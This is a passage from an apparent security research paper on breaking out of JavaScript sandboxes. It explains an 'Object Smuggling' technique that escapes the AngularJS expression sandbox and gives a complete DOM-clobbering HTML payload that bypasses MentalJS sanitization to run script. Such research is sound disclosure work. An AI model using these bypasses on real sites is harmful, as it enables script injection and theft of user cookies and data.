Now, inside inspect_leaked_event, properties of the window object can be accessed through the  
event, e.g. as scope_.event.document.cookie. However, several of the blacklisting restrictions are  
still active and not fully circumvented; for example, if any DOM node is passed to ensureSafeObject,  
this will still trigger an Error, and therefore, an attacker can not yet easily access arbitrary data in the  
DOM or so.

2.1.2.3 Setting up Object Smuggling

Now that the sandbox is almost completely broken, but still blocks access to a couple of important APIs,  
the next step is to devise a generic mechanism that can be used to bypass all value and property name  
blacklisting.

The basic idea for this is to use functions that can perform the three main primitive operations of JavaScript  
- getting a property, setting a property and invoking a function - instead of performing these operations on  
potentially blacklisted objects directly. However, this alone isn’t enough because AngularJS also checks  
function arguments and return values. Therefore, as a next step, these primitive operation functions then  
have to be wrapped so that they operate on wrapper objects that are opaque to the sandbox and function as  
“handles” to the actual objects. This means that the wrappers have to unwrap their arguments, pass them to  
the primitive operations and wrap the results, all without using any sandboxed functions that the sandbox  
could inspect. I call this bypass technique “Object Smuggling” because it allows the attacker to manipulate  
objects from inside the sandbox while carefully obfuscating the nature of the manipulated objects while they  
pass through security checks.

Ideal candidates for the implementation of the basic, unwrapped primitives are the functions on the  
Reflect object, because they are already designed to have functionality equivalent to basic language  
constructs; in particular, get can be used to look up members, set can be used to set properties, and  
construct can be used instead of the new operator.

It seems that in JavaScript, single-element arrays are an ideal way to create the required wrapper objects.  
A wrapper that unwraps arguments can be created by using APPLY on the target function: Since APPLY  
takes the arguments as an array, the individual argument wrapper objects merely have to be concatenated  
and can then be passed to APPLY - and all intermediate objects in the operation are still opaque. This can be  
implemented either as a direct call to APPLY or by first binding APPLY to the arguments and then calling  
it. The implementation of a wrapper function that sets an object property is therefore relatively simple,
considering that there is no need to return a result:

```javascript
APPLY(Reflect.set, null, obj_.concat([name], value_))
```

A quick-and-dirty way to turn this expression into a callable function for ease of exploitation is to simply bind `$eval` to `$root` and the code, yielding a function whose first argument is passed to the code as the locals object:

```javascript
'SET({obj_: obj_, name: name, value_: value_})';
SET = BIND($eval, $root, 'APPLY(Reflect.set, null, obj_.concat([name],
    value_))');
```

Since there is no pre-existing helper that performs the operation “call this function with these arguments, put the result in an array and return it”, wrapping the result is a bit more complicated: The attacker uses `APPLY` again, but instead of invoking it directly, binds it to the required arguments:

```javascript
BIND(APPLY, null, Reflect.get, null, obj_.concat([name], obj_))
```

Now, the attacker only needs a function that performs the operation “call this function - the arguments don’t matter - and return the result wrapped in an array”. Such functions exist: For example, `Array.prototype.map` transforms all elements of its `this`-argument using the supplied transformation function, then returns an array containing the transformed elements. If the `this`-argument is an array containing a single element and the bound primitive operation function is used as transformation function, `map` behaves exactly as required. In code, this looks as follows when looking up the property `name` of the wrapped object `obj_`:

```javascript
[0].map(BIND(APPLY, null, Reflect.get, null, obj_.concat([name], obj_))
```

As can be seen, the bound function is equivalent to `APPLY(Reflect.get, null, [obj, name, obj]), where obj refers to the unwrapped object (obj_[0]). Simplifying this expression further, it is equivalent to `Reflect.get(obj, name, obj).

Function invocation is implemented the same way, except that `APPLY` is used instead of `Reflect.get` to implement the primitive operation. This looks as follows:

```javascript
[0].map(BIND(APPLY, null, APPLY, null, func_.concat(obj_, [args])))
```

Chaining two instances of `APPLY` looks nonsensical, but is necessary: The target function must be passed as part of an array to bypass the sandbox restrictions, but `APPLY` takes the target function as a separate parameter. In order to be able to pass the target function as part of an array, `APPLY` must be invoked through `APPLY`. In other words: One `APPLY` to turn an array element into a function argument, another `APPLY` to turn the function argument into a `this`-argument.

Now, the attacker can use the object smuggling helpers to access the DOM, grab cookies and so on. As an example, the following code:

```javascript
var window = scope_.currentTarget;
```
2.2 Attacks on MentalJS

2.2.1 HTML attribute injection via DOM clobbering

MentalJS allows manipulation of the DOM, but restricts such manipulation to whitelisted element and attribute names. DOM manipulation can be performed either by supplying HTML code (via `innerHTML`) or by manually using the DOM APIs (`appendChild`, `createElement` and so on).

HTML code supplied to `innerHTML` is filtered by inserting the supplied HTML code into a new document, removing unsafe elements from the new document and then copying the HTML code from the new document into the target element. A weakness of this approach is that, if an attacker can somehow cause dangerous elements or attributes to be missed during the sanitization process, this is sufficient to fully bypass the protection.

One danger when interacting with untrusted DOM nodes is DOM clobbering: Elements with `id` or `name` attributes can create or overwrite properties of elements, `document` and `window`. [22][23] MentalJS attempts to guard against such attacks.

When sanitizing the new document, MentalJS iterates over all elements using a `NodeIterator` and, for each found element, performs the following steps (simplified, without the logic for `<script>` elements):

- If the element’s name is not whitelisted, the element is pushed on the `elementsToRemove` list.
• It is checked whether any of the following conditions are fulfilled, which would indicate that dangerous DOM clobbering has occurred:
  – The `attributes` property of the element is another `HTMLElement`.
  – One of the properties `setAttribute`, `getAttribute` and `removeAttribute` is not a function.

If one of the conditions is fulfilled, the element is pushed on the `elementsToRemove` list and the next step is skipped for it.

• All attributes of the element are inspected, and non-whitelisted attributes are removed.

Afterwards, all elements in the `elementsToRemove` array are removed from the new document before the new document’s contents are copied over into the visible document. Removal of the elements is performed as follows:

• Attempt to remove the element from its parent node using `elementsToRemove[i].parentNode.removeChild(...)`. Suppress any errors that might occur.

• Attempt to remove the element from the `<body>` using `node.body.removeChild(...)`, where `node` refers to the new document’s root node. Suppress any errors that might occur.

If an attacker can construct an element that triggers the DOM clobbering check and causes both attempts to remove the element from the new document to fail, the element will be copied over into the new document - and because triggering the DOM clobbering check causes the attribute removal step to be skipped, the copied element will have all of its original attributes.

Making the second attempt to remove the element from the document fail is easy: Simply wrap it in a `<div>` element or so to prevent it from being a direct child of the `<body>`.

Making the first attempt to remove the element fail requires DOM clobbering. If the attacker can cause `elementsToRemove[i].parentNode` to not be the element’s actual parent node, the `removeChild` operation will fail. This can be done using the special behavior of `HTMLFormElement` instances[22][23] if `elementsToRemove[i]` is a `<form>`: If an `<input>` element with id “parentNode” is inside the `<form>` element, the `<form>` element’s `parentNode` property will point to the input element. In code, this looks as follows:

```html
<div>
  <form>
    <input id="parentNode">
  </form>
</div>
```

Now the attacker has to actually trigger the DOM clobbering detection. This can be done by clobbering the `attributes` property the same way:
2.2 Attacks on MentalJS

At this point, removal of the `<form>` element will be attempted, but won’t succeed. The attacker can now add arbitrary attributes to the element and use them to somehow cause JavaScript code execution. There doesn’t seem to be a known cross-browser way to do this without user interaction, but e.g. in Chrome, applying an animation to an element using CSS and adding an `onanimationstart` attribute with code to the element works.[24, item 145]. The payload for executing JS in Chrome looks as follows:

```html
<form style="animation-name:x" onanimationstart="{JS CODE}"/>
```

The resulting complete attack is:

```html
<div> <!-- block second removal technique -->
  <style>@keyframes x{}</style> <!-- define an animation -->
  <form style="animation-name:x" onanimationstart="{JS CODE}">
    <input id="attributes"> <!-- trigger DOM clobbering detection -->
    <input id="parentNode"> <!-- block first removal technique -->
  </form>
</div>
```
Bibliography


[17] M. Finifter, J. Weinberger, and A. Barth, “Preventing capability leaks in secure javascript subsets.”


